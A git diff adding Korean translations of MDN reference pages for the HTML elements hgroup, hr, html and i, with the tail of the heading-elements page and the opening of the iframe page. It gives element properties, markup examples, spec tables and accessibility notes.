+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_—_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN Understanding WCAG, Guideline 2.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-skip.html">Understanding Success Criterion 2.4.1 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-descriptive.html">Understanding Success Criterion 2.4.6 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-headings.html">Understanding Success Criterion 2.4.10 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h3 id="구획_콘텐츠_레이블">구획 콘텐츠 레이블</h3>
+
+<p>스크린 리더 사용자가 자주 사용하는 다른 기술은 <a href="/ko/docs/Web/HTML/Element#콘텐츠_구획">콘텐츠 구획</a>의 목록을 생성한 후, 이를 통해 페이지 레이아웃을 파악하는 것입니다.</p>
+
+<p>콘텐츠 구획에는 <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code>와 {{htmlattrxref("id")}} 특성을 함께 사용해 이름, 즉 레이블을 붙일 수 있습니다. 레이블은 현재 구획의 목적을 간결하게 설명해야 합니다. 레이블 기법은 한 페이지에 다수의 구획이 있을 때 유용하게 사용할 수 있습니다.</p>
+
+<h4 id="예제_2">예제</h4>
+
+<pre class="brush: html">&lt;header&gt;
+  &lt;nav aria-labelledby="primary-navigation"&gt;
+    &lt;h2 id="primary-navigation"&gt;주 탐색창&lt;/h2&gt;
+    &lt;!-- navigation items --&gt;
+  &lt;/nav&gt;
+&lt;/header&gt;
+
+&lt;!-- page content --&gt;
+
+&lt;footer&gt;
+  &lt;nav aria-labelledby="footer-navigation"&gt;
+    &lt;h2 id="footer-navigation"&gt;하단 탐색창&lt;/h2&gt;
+    &lt;!-- navigation items --&gt;
+  &lt;/nav&gt;
+&lt;/footer&gt;
+</pre>
+
+<p>위의 예제에서 스크린 리더는 두 개의 {{HTMLElement("nav")}} 구획이 있으며, 하나는 "주 탐색창", 다른 하나는 "하단 탐색창"이라고 불린다는 사실을 표현합니다. 레이블을 지정하지 않았다면, 사용자가 각 <code>&lt;nav&gt;</code> 요소의 콘텐츠를 일일히 분석해 목적을 알아내야 했을 것입니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">Using the aria-labelledby attribute</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/page-structure/labels/#using-aria-labelledby">Labeling Regions • Page Structure • W3C WAI Web Accessibility Tutorials</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-h1-h2-h3-h4-h5-and-h6-elements', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.5', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.h1")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("p")}}</li>
+ <li>{{HTMLElement("div")}}</li>
+ <li>{{HTMLElement("section")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/hgroup/index.html b/files/ko/web/html/element/hgroup/index.html
new file mode 100644
index 0000000000..56244c233d
--- /dev/null
+++ b/files/ko/web/html/element/hgroup/index.html
@@ -0,0 +1,105 @@
+---
+title: <hgroup>
+slug: Web/HTML/Element/hgroup
+tags:
+  - Element
+  - HTML
+  - HTML sections
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/hgroup
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;hgroup&gt;</code> 요소</strong>는 문서 구획의 다단계 제목을 나타냅니다. 다수의 <code>{{htmlelement("Heading_Elements", "&lt;h1&gt;-&lt;h6&gt;")}}</code> 요소를 묶을 때 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/hgroup.html", "tabbed-standard")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, 제목 콘텐츠, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>하나 이상의 {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 규칙</th>
+   <td>{{ARIARole("tab")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<div class="blockIndicator note">
+<p><code>&lt;hgroup&gt;</code> 요소는 W3C HTML5 명세에서 제거되었고, WHATWG판 HTML에만 남아있습니다. 그러나 대부분의 브라우저에서 부분적으로 구현 중이므로 사라지지는 않을 것으로 보입니다.<br>
+ 다만, <code>&lt;hgroup&gt;</code> 요소의 주요 목적이 <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽">HTML 명세의 개요 알고리즘</a>에서 제목의 표시 방법을 설정하기 위함이며, <strong>어떠한 브라우저도 개요 알고리즘을 구현하지 않았음</strong>을 고려할 때, <code>&lt;hgroup&gt;</code>의 의미는 이론적으로만 유효합니다.<br>
+ W3C HTML5 명세에서 <code>&lt;hgroup&gt;</code> 없이 <a href="https://www.w3.org/TR/html52/common-idioms-without-dedicated-elements.html#common-idioms-without-dedicated-elements">부제, 보조 제목, 태그라인의 마크업 방법</a>에 대한 조언을 제공하고 있습니다.</p>
+</div>
+
+<p><code>&lt;hgroup&gt;</code> 요소는 문서 구획의 주 제목과 2차 제목을 연결해, 제목-부제목과 같은 "다단계 제목"을 만들 수 있습니다.</p>
+
+<p>다른 말로 하면, <code>&lt;hgroup&gt;</code> 요소는 자신의 2차 <code>{{htmlelement("Heading_Elements", "&lt;h1&gt;-&lt;h6&gt;")}}</code>이 문서 개요에 자신의 구획을 생성하는 것을 방지합니다.</p>
+
+<p>따라서 <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽">HTML 개요 알고리즘</a>이 생성한 추상적 개요 내에서, <code>&lt;hgroup&gt;</code>은 논리적인 단일 제목을 형성하고, <code>&lt;hgroup&gt;</code>의 자식 제목 요소가 그 안에 하나로 포함됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;hgroup&gt;
+  &lt;h1&gt;주요 제목&lt;/h1&gt;
+  &lt;h2&gt;부제목&lt;/h2&gt;
+&lt;/hgroup&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-hgroup-element', '&lt;hgroup&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.hgroup")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>구획 관련 다른 요소: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
+ <li><a class="deki-ns current" href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">HTML5 문서의 구획과 개요</a>.</li>
+</ul>
diff --git a/files/ko/web/html/element/hr/index.html b/files/ko/web/html/element/hr/index.html
new file mode 100644
index 0000000000..80163cd763
--- /dev/null
+++ b/files/ko/web/html/element/hr/index.html
@@ -0,0 +1,131 @@
+---
+title: <hr>
+slug: Web/HTML/Element/hr
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - Reference
+translation_of: Web/HTML/Element/hr
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;hr&gt;</code> 요소</strong>는 이야기 장면 전환, 구획 내 주제 변경 등, 문단 레벨 요소에서 주제의 분리를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/hr.html", "tabbed-shorter")}}</div>
+
+
+
+<p>역사적으로 <code>&lt;hr&gt;</code>은 가로줄로 표현했습니다. 시각적 브라우저에서도 가로줄로 그려질 수 있지만, 이제 시각 표현에 그치지 않고 의미를 가지게 됐습니다. 따라서 가로줄을 그리고 싶다면 적절한 CSS를 사용해야 합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>없음. {{glossary("empt element", "빈 요소")}}입니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLHRElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecated_inline}}</dt>
+ <dd>줄의 정렬을 지정합니다. 기본값은 <code>left</code>입니다.</dd>
+ <dt>{{htmlattrdef("color")}} {{Non-standard_inline}}</dt>
+ <dd>색깔 이름 또는 16 진수의 값으로 줄의 색깔을 지정합니다.</dd>
+ <dt>{{htmlattrdef("noshade")}} {{deprecated_inline}}</dt>
+ <dd>Sets the rule to have no shading.</dd>
+ <dt>{{htmlattrdef("size")}} {{deprecated_inline}}</dt>
+ <dd>줄의 높이를 픽셀 단위로 지정합니다.</dd>
+ <dt>{{htmlattrdef("width")}} {{deprecated_inline}}</dt>
+ <dd>줄의 가로 길이를 픽셀이나 퍼센트 값으로 지정합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+This is the first paragraph of text.
+This is the first paragraph of text.
+This is the first paragraph of text.
+This is the first paragraph of text.
+&lt;/p&gt;
+
+&lt;hr&gt;
+
+&lt;p&gt;
+This is second paragraph of text.
+This is second paragraph of text.
+This is second paragraph of text.
+This is second paragraph of text.
+&lt;/p&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-hr-element', '&lt;hr&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definition of the <code>&lt;hr&gt;</code> element</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-hr-element', '&lt;hr&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.3', '&lt;hr&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>The <code>align</code>, <code>noshade</code>, <code>size</code>, and <code>width</code> attributes are deprecated</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.hr")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{htmlelement("p")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/html/index.html b/files/ko/web/html/element/html/index.html
new file mode 100644
index 0000000000..a9c634ebc5
--- /dev/null
+++ b/files/ko/web/html/element/html/index.html
@@ -0,0 +1,123 @@
+---
+title: '<html>: HTML 문서 / 루트 요소'
+slug: Web/HTML/Element/html
+tags:
+  - Element
+  - HTML
+  - HTML Root Element
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/html
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;html&gt;</code> 요소</strong>는 HTML 문서의 루트(최상단 요소)를 나타내며, "루트 요소"라고도 부릅니다. 모든 다른 요소는 <code>&lt;html&gt;</code> 요소의 후손이어야 합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>하나의 {{HTMLElement("head")}} 요소와 그 뒤를 따르는 하나의 {{HTMLElement("body")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td><code>&lt;html&gt;</code> 요소 내부의 첫 번째 것이 주석이 아니라면 시작 태그를 생략할 수 있습니다.<br>
+    <code>&lt;html&gt;</code> 요소 바로 뒤에 주석이 따라오지 않는다면 종료 태그를 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>없음. <code>&lt;html&gt;</code>이 문서의 루트 요소입니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 역할</th>
+   <td>{{domxref("HTMLHtmlElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a><span style="line-height: 21px;">을 포함합니다.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("manifest")}} {{obsolete_inline}}</dt>
+ <dd>지역적으로 캐시되어야하는 리소스를 가리키는 매니페스트 리소스의 URI를 나타냅니다. 자세한 내용은 <a href="/en-US/docs/HTML/Using_the_application_cache" title="/en-US/docs/HTML/Using_the_application_cache">애플리케이션 캐시 사용하기</a>를 보세요.</dd>
+ <dt>{{htmlattrdef("version")}} {{obsolete_inline}}</dt>
+ <dd>현재 문서를 제어하는 HTML 문서 타입 정의의 버전을 나타냅니다. 하지만 이미 문서 타입 선언이 버전을 나타내고 있기 떄문에 이 속성은 필요하지 않습니다.</dd>
+ <dt>{{htmlattrdef("xmlns")}}</dt>
+ <dd>문서의 {{glossary("XML")}} {{glossary("네임스페이스")}}를 지정합니다. 기본값은 <code>"http://www.w3.org/1999/xhtml"</code>입니다. XML {{glossary("parser", "구문 분석기")}}로 분석한 문서에는 필수이고, <code>text/html</code> 문서에서는 선택사항입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html lang="ko"&gt;
+  &lt;head&gt;...&lt;/head&gt;
+  &lt;body&gt;...&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
+<p><code>html</code> 요소의 {{htmlattrxref("lang")}} 특성에 <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">유효한 IETF 언어 식별 태그</a>를 지정하면 스크린 리더가 음성 표현에 사용할 언어를 선택할 때 도움이 됩니다. 언어 식별 태그는 페이지의 주 언어를 가리켜야 합니다. 아무런 값도 지정하지 않을 시 보통 운영체제의 언어 설정을 따라가므로, 잘못된 발음을 사용할 수 있습니다.</p>
+
+<p>또한 <code>&lt;html&gt;</code> 요소에 유효한 <code>lang</code> 선언이 존재해야 {{htmlelement("title")}}과 같은 {{htmlelement("head")}} 내부의 중요한 메타데이터를 정확한 발음으로 표현할 수 있습니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.1_%E2%80%94_Readable_Make_text_content_readable_and_understandable">MDN Understanding WCAG, Guideline 3.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/meaning-doc-lang-id.html">Understanding Success Criterion 3.1.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.3', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.html")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>MathML 최상위 요소 {{MathMLElement("math")}}</li>
+ <li>SVG 최상위 요소 {{SVGElement("svg")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/i/index.html b/files/ko/web/html/element/i/index.html
new file mode 100644
index 0000000000..583115a20f
--- /dev/null
+++ b/files/ko/web/html/element/i/index.html
@@ -0,0 +1,119 @@
+---
+title: <i>
+slug: Web/HTML/Element/i
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/i
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;i&gt;</code> 요소</strong>는 텍스트에서 어떤 이유로 주위와 구분해야 하는 부분을 나타냅니다.</span> 기술 용어, 외국어 구절, 등장인물의 생각 등을 예시로 들 수 있습니다. 보통 기울임꼴로 표시합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/i.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>일반 산문과 다른 문체를 가진 텍스트에 <code>&lt;i&gt;</code> 요소를 사용하세요. 주위 텍스트와 다른 의미를 가진 텍스트에 적용하면 됩니다.</li>
+ <li>초기 HTML 명세의 <code>&lt;i&gt;</code> 요소는, {{htmlelement("b")}} 요소가 굵은 글씨 적용에 그쳤던 것과 마찬가지로, 글자를 기울이기만 하는 단순한 시각적 요소였습니다. 그러나 지금은 글자 외형에 그치지 않고 특정한 의미를 지니는 요소이므로 시각적인 강조에 그치지 않습니다. 보통, 브라우저가 여전히 <code>&lt;i&gt;</code> 요소의 글자를 기울이겠지만, 명세에 따르면 꼭 그렇게 표시할 필요는 없습니다.</li>
+ <li><code>&lt;i&gt;</code> 요소가 글자를 기울이기는 하지만, 기울임꼴을 적용하기 위한 용도로 사용해서는 안됩니다. CSS {{cssxref("font-style")}} 속성을 사용하세요.</li>
+ <li>강조하려는 텍스트가 다른 요소에 더 적합하지 않은지 고려하세요.
+  <ul>
+   <li>{{htmlelement("em")}} 요소는 강세를 나타냅니다.</li>
+   <li>{{htmlelement("strong")}} 요소는 보다 강한 강조를 나타냅니다.</li>
+   <li>{{htmlelement("mark")}} 요소는 관련성을 나타냅니다.</li>
+   <li>{{htmlelement("cite")}} 요소는 책, 공연, 음악 등 저작물의 이름을 나타냅니다.</li>
+   <li>{{htmlelement("dfn")}} 요소는 정의 대상인 용어를 나타냅니다.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 외국어를 강조하기 위해 <code>&lt;i&gt;</code> 요소를 사용합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;라틴어 문구 &lt;i&gt;Veni, vidi, vici&lt;/i&gt;는 음악과 예술, 문학에 자주 등장합니다.&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-i-element', '&lt;i&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-i-element', '&lt;i&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.i")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("em")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/iframe/index.html b/files/ko/web/html/element/iframe/index.html
new file mode 100644
index 0000000000..bb4ecec354
--- /dev/null
+++ b/files/ko/web/html/element/iframe/index.html
@@ -0,0 +1,253 @@
+---
+title: '<iframe>: 인라인 프레임 요소'
+slug: Web/HTML/Element/iframe
+tags:
+  - Element
+  - HTML
+  - HTML embedded content
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/iframe
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;iframe&gt;</code> 요소</strong>는 중첩 {{glossary("browsing context", "브라우징 맥락")}}을 나타내는 요소로, 현재 문서 안에 다른 HTML 페이지를 삽입합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/iframe.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p>삽입된 브라우징 맥락은 각자 자신만의 <a href="/ko/docs/Web/API/History">세션 기록</a>과 <a href="/ko/docs/Web/API/Document">문서</a>를 가집니다. 다른 브라우징 맥락을 포함하고 있는 맥락은 "부모 브라우징 맥락"이라고 부릅니다. 부모를 가지지 않는, 즉 최상위 브라우징 맥락은 대개 브라우저 창으로서, {{domxref("Window")}} 객체로 나타냅니다.</p>
+
+<div class="blockIndicator warning">
+<p>각각의 브라우징 맥락은 완전한 문서 환경이므로, 페이지에 <code>&lt;iframe&gt;</code>을 추가할 때마다 메모리 및 기타 컴퓨터 자원 사용량이 늘어납니다. 이론상으로는 원하는 만큼 <code>&lt;iframe&gt;</code>을 사용할 수 있지만, 성능 문제가 없는지 확인하세요.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>플로우 콘텐츠, 구문 콘텐츠, 내장 콘텐츠, 대화형 콘텐츠, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>내장 콘텐츠를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLIFrameElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("allow")}}</dt>
+ <dd>Specifies a <a href="/en-US/docs/Web/HTTP/Feature_Policy">feature policy</a> for the <code>&lt;iframe&gt;</code>. See the article <a href="/en-US/docs/Web/Privacy">Privacy, permissions, and information security</a> for details on security issues and how <code>&lt;iframe&gt;</code> works with Feature Policy to keep systems safe.</dd>
+ <dt>{{htmlattrdef("allowfullscreen")}}</dt>
